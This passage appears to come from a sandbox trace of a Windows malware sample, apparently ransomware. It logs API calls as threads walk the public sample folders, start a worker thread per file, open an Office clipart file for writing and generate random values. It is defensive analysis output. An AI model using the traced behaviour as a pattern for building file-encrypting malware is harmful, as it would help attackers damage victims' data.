lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e6f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf8 [0097.774] FindNextFileW (in: hFindFile=0x1b858df0, lpFindFileData=0x202600b0 | out: lpFindFileData=0x202600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xce875, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert.jpg", cAlternateFileName="")) returned 1 [0097.774] wcscmp (_String1="Desert.jpg", _String2=".") returned 1 [0097.774] wcscmp (_String1="Desert.jpg", _String2="..") returned 1 [0097.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86ed40 [0097.774] wcscpy (in: _Dest=0x1b86ed40, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures") returned="C:\\Users\\Public\\Pictures\\Sample Pictures" [0097.774] wcscat (in: _Dest=0x1b86ed40, _Source="\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0097.774] wcscat (in: _Dest=0x1b86ed40, _Source="Desert.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" [0097.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ed40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e8 [0097.775] FindNextFileW (in: hFindFile=0x1b858df0, lpFindFileData=0x202600b0 | out: lpFindFileData=0x202600b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0097.775] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0097.775] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0097.775] FindNextFileW (in: hFindFile=0x1b858df0, lpFindFileData=0x202600b0 | out: lpFindFileData=0x202600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x91554, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hydrangeas.jpg", cAlternateFileName="HYDRAN~1.JPG")) returned 1 [0097.775] wcscmp (_String1="Hydrangeas.jpg", _String2=".") returned 1 [0097.775] wcscmp (_String1="Hydrangeas.jpg", _String2="..") returned 1 [0097.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f110 [0097.775] wcscpy (in: _Dest=0x1b85f110, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures") returned="C:\\Users\\Public\\Pictures\\Sample Pictures" [0097.775] wcscat (in: _Dest=0x1b85f110, _Source="\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0097.775] wcscat (in: _Dest=0x1b85f110, _Source="Hydrangeas.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" [0097.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85f110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ec [0097.776] FindNextFileW (in: hFindFile=0x1b858df0, lpFindFileData=0x202600b0 | out: lpFindFileData=0x202600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbd616, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jellyfish.jpg", cAlternateFileName="JELLYF~1.JPG")) returned 1 [0097.776] wcscmp (_String1="Jellyfish.jpg", _String2=".") returned 1 [0097.776] wcscmp (_String1="Jellyfish.jpg", _String2="..") returned 1 [0097.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b85f090 [0097.776] wcscpy (in: _Dest=0x1b85f090, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures") returned="C:\\Users\\Public\\Pictures\\Sample Pictures" [0097.776] wcscat (in: _Dest=0x1b85f090, _Source="\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0097.776] wcscat (in: _Dest=0x1b85f090, _Source="Jellyfish.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" [0097.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85f090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x824 [0097.777] FindNextFileW (in: hFindFile=0x1b858df0, lpFindFileData=0x202600b0 | out: lpFindFileData=0x202600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Koala.jpg", cAlternateFileName="")) returned 1 [0097.777] wcscmp (_String1="Koala.jpg", _String2=".") returned 1 [0097.777] wcscmp (_String1="Koala.jpg", _String2="..") returned 1 [0097.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b86efe0 [0097.777] wcscpy (in: _Dest=0x1b86efe0, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures") returned="C:\\Users\\Public\\Pictures\\Sample Pictures" [0097.777] wcscat (in: _Dest=0x1b86efe0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0097.777] wcscat (in: _Dest=0x1b86efe0, _Source="Koala.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" [0097.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86efe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8dc [0097.778] FindNextFileW (in: hFindFile=0x1b858df0, lpFindFileData=0x202600b0 | out: lpFindFileData=0x202600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8907c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lighthouse.jpg", cAlternateFileName="LIGHTH~1.JPG")) returned 1 [0097.778] wcscmp (_String1="Lighthouse.jpg", _String2=".") returned 1 [0097.778] wcscmp (_String1="Lighthouse.jpg", _String2="..") returned 1 [0097.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e110 [0097.778] wcscpy (in: _Dest=0x1b85e110, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures") returned="C:\\Users\\Public\\Pictures\\Sample Pictures" [0097.778] wcscat (in: _Dest=0x1b85e110, _Source="\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0097.778] wcscat (in: _Dest=0x1b85e110, _Source="Lighthouse.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" [0097.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85e110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc [0097.779] FindNextFileW (in: hFindFile=0x1b858df0, lpFindFileData=0x202600b0 | out: lpFindFileData=0x202600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Penguins.jpg", cAlternateFileName="")) returned 1 [0097.779] wcscmp (_String1="Penguins.jpg", _String2=".") returned 1 [0097.779] wcscmp (_String1="Penguins.jpg", _String2="..") returned 1 [0097.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b85d510 [0097.779] wcscpy (in: _Dest=0x1b85d510, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures") returned="C:\\Users\\Public\\Pictures\\Sample Pictures" [0097.779] wcscat (in: _Dest=0x1b85d510, _Source="\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0097.779] wcscat (in: _Dest=0x1b85d510, _Source="Penguins.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" [0097.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8 [0097.780] FindNextFileW (in: hFindFile=0x1b858df0, lpFindFileData=0x202600b0 | out: lpFindFileData=0x202600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulips.jpg", cAlternateFileName="")) returned 1 [0097.780] wcscmp (_String1="Tulips.jpg", _String2=".") returned 1 [0097.780] wcscmp (_String1="Tulips.jpg", _String2="..") returned 1 [0097.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86eb80 [0097.780] wcscpy (in: _Dest=0x1b86eb80, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures") returned="C:\\Users\\Public\\Pictures\\Sample Pictures" [0097.780] wcscat (in: _Dest=0x1b86eb80, _Source="\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0097.780] wcscat (in: _Dest=0x1b86eb80, _Source="Tulips.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" [0097.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86eb80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4cc [0097.781] FindNextFileW (in: hFindFile=0x1b858df0, lpFindFileData=0x202600b0 | out: lpFindFileData=0x202600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulips.jpg", cAlternateFileName="")) returned 0 [0097.781] FindClose (in: hFindFile=0x1b858df0 | out: hFindFile=0x1b858df0) returned 1 [0097.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202600b0) returned 1 [0097.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c1f0) returned 1 [0097.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cfd0) returned 1 Thread: id = 633 os_tid = 0x10c8 [0095.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1cd9c190 [0095.794] wcscpy (in: _Dest=0x1cd9c190, _Source="C:\\Users\\Public\\Recorded TV\\Sample Media" | out: _Dest="C:\\Users\\Public\\Recorded TV\\Sample Media") returned="C:\\Users\\Public\\Recorded TV\\Sample Media" [0095.794] wcscat (in: _Dest=0x1cd9c190, _Source="\\" | out: _Dest="C:\\Users\\Public\\Recorded TV\\Sample Media\\") returned="C:\\Users\\Public\\Recorded TV\\Sample Media\\" [0095.794] wcscat (in: _Dest=0x1cd9c190, _Source="*" | out: _Dest="C:\\Users\\Public\\Recorded TV\\Sample Media\\*") returned="C:\\Users\\Public\\Recorded TV\\Sample Media\\*" [0095.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20260320 [0095.794] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\*", lpFindFileData=0x20260320 | out: lpFindFileData=0x20260320*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c130 [0095.795] wcscmp (_String1=".", _String2=".") returned 0 [0095.795] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x20260320 | out: lpFindFileData=0x20260320*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.795] wcscmp (_String1="..", _String2=".") returned 1 [0095.795] wcscmp (_String1="..", _String2="..") returned 0 [0095.795] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x20260320 | out: lpFindFileData=0x20260320*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xab, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0095.795] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0095.795] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0095.795] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x20260320 | out: lpFindFileData=0x20260320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x0, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 1 [0095.795] wcscmp (_String1="win7_scenic-demoshort_raw.wtv", _String2=".") returned 1 [0095.795] wcscmp (_String1="win7_scenic-demoshort_raw.wtv", _String2="..") returned 1 [0095.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1b7adb60 [0095.795] wcscpy (in: _Dest=0x1b7adb60, _Source="C:\\Users\\Public\\Recorded TV\\Sample Media" | out: _Dest="C:\\Users\\Public\\Recorded TV\\Sample Media") returned="C:\\Users\\Public\\Recorded TV\\Sample Media" [0095.795] wcscat (in: _Dest=0x1b7adb60, _Source="\\" | out: _Dest="C:\\Users\\Public\\Recorded TV\\Sample Media\\") returned="C:\\Users\\Public\\Recorded TV\\Sample Media\\" [0095.795] wcscat (in: _Dest=0x1b7adb60, _Source="win7_scenic-demoshort_raw.wtv" | out: _Dest="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv") returned="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv" [0097.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7adb60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe84 [0097.924] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x20260320 | out: lpFindFileData=0x20260320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x0, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 0 [0097.924] FindClose (in: hFindFile=0x1cd9c130 | out: hFindFile=0x1cd9c130) returned 1 [0097.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260320) returned 1 [0097.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c190) returned 1 [0097.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d0d0) returned 1 Thread: id = 634 os_tid = 0x10cc [0095.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1cd9c0d0 [0095.797] wcscpy (in: _Dest=0x1cd9c0d0, _Source="C:\\Users\\Public\\Videos\\Sample Videos" | out: _Dest="C:\\Users\\Public\\Videos\\Sample Videos") returned="C:\\Users\\Public\\Videos\\Sample Videos" [0095.797] wcscat (in: _Dest=0x1cd9c0d0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Videos\\Sample Videos\\") returned="C:\\Users\\Public\\Videos\\Sample Videos\\" [0095.797] wcscat (in: _Dest=0x1cd9c0d0, _Source="*" | out: _Dest="C:\\Users\\Public\\Videos\\Sample Videos\\*") returned="C:\\Users\\Public\\Videos\\Sample Videos\\*" [0095.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20260590 [0095.797] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\*", lpFindFileData=0x20260590 | out: lpFindFileData=0x20260590*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858b50 [0095.797] wcscmp (_String1=".", _String2=".") returned 0 [0095.797] FindNextFileW (in: hFindFile=0x1b858b50, lpFindFileData=0x20260590 | out: lpFindFileData=0x20260590*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.797] wcscmp (_String1="..", _String2=".") returned 1 [0095.797] wcscmp (_String1="..", _String2="..") returned 0 [0095.797] FindNextFileW (in: hFindFile=0x1b858b50, lpFindFileData=0x20260590 | out: lpFindFileData=0x20260590*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be12937, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0095.797] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0095.797] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0095.797] FindNextFileW (in: hFindFile=0x1b858b50, lpFindFileData=0x20260590 | out: lpFindFileData=0x20260590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 1 [0095.797] wcscmp (_String1="Wildlife.wmv", _String2=".") returned 1 [0095.797] wcscmp (_String1="Wildlife.wmv", _String2="..") returned 1 [0095.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b86eb10 [0095.798] wcscpy (in: _Dest=0x1b86eb10, _Source="C:\\Users\\Public\\Videos\\Sample Videos" | out: _Dest="C:\\Users\\Public\\Videos\\Sample Videos") returned="C:\\Users\\Public\\Videos\\Sample Videos" [0095.798] wcscat (in: _Dest=0x1b86eb10, _Source="\\" | out: _Dest="C:\\Users\\Public\\Videos\\Sample Videos\\") returned="C:\\Users\\Public\\Videos\\Sample Videos\\" [0095.798] wcscat (in: _Dest=0x1b86eb10, _Source="Wildlife.wmv" | out: _Dest="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv") returned="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" [0097.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86eb10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe94 [0097.926] FindNextFileW (in: hFindFile=0x1b858b50, lpFindFileData=0x20260590 | out: lpFindFileData=0x20260590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 0 [0097.926] FindClose (in: hFindFile=0x1b858b50 | out: hFindFile=0x1b858b50) returned 1 [0097.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260590) returned 1 [0097.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c0d0) returned 1 [0097.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d190) returned 1 Thread: id = 635 os_tid = 0x10d0 [0095.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 0x20 [0096.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF", dwFileAttributes=0x20) returned 1 [0096.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe0c [0096.068] GetFileSizeEx (in: hFile=0xe0c, lpFileSize=0x2999f6a0 | out: lpFileSize=0x2999f6a0*=9024) returned 1 [0096.068] SetFilePointerEx (in: hFile=0xe0c, liDistanceToMove=0x233c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.068] ReadFile (in: hFile=0xe0c, lpBuffer=0x2999f620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2999f668, lpOverlapped=0x0 | out: lpBuffer=0x2999f620*, lpNumberOfBytesRead=0x2999f668*=0x4, lpOverlapped=0x0) returned 1 [0096.213] SetFilePointerEx (in: hFile=0xe0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860720 [0096.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8b0 [0096.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606c0 [0096.213] NtQuerySystemTime (in: CurrentTime=0x2999f560 | out: CurrentTime=0x2999f560*=132462177020470000) returned 0x0 [0096.213] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x749f258b [0096.213] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x67a140ee [0096.213] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x2e06f26a [0096.213] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x5cbf9219 [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0xa1d33c [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x2e7077aa [0096.214] RtlRandomEx (in: Seed=0x2999f550 | out: Seed=0x2999f550) returned 0x7b5708d8 [0096.214] RtlRandomEx (in: 